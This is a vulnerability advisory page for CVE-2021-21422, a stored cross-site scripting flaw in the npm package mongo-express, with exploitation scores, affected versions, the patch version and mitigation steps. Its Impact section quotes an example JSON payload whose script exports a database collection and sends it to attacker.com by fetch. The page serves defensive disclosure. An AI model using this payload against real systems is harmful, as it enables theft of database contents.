NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

CVE-2021-21422 — mongo-express

MEDIUMFix: mongo-express/mongo-express@f5e0d49

CVE-2021-21422 is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in mongo-express. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for mongo-express — see the affected versions and patch details below.

Cross-site scripting

Also known asGHSA-7p8h-86p5-wv3p
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
2 known
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
1.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs76th percentile — riskier than 76% of all scored CVEsHighest risk
0.79%1.22%1.64%2.07%1.3%1.6%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

7other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
mongo-expressnpm
3Kdownloads / week

Description

Two kinds of XSS were found:

  1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
  2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.

Impact

As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:

{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>"  }

This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

Patches

Upgrade to v1.0.0-alpha.4

For more information

If you have any questions or comments about this advisory:

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmongo-expressall versions1.0.0-alpha.4npm install mongo-express@1.0.0-alpha.4

Affected Products

1 product · 3 configurations
Application
mongo-expressmongo-express_project
≤ 0.54.0
1 version
1.0.0
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mongo-express, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mongo-express to 1.0.0-alpha.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-21422 is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

Two kinds of XSS were found: 1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. ### Impact As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload: ```JSON {"someField": "long string
O3 Security · Impact-Aware SCA

Is CVE-2021-21422 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2021-21422: mongo-express XSS — Fix Available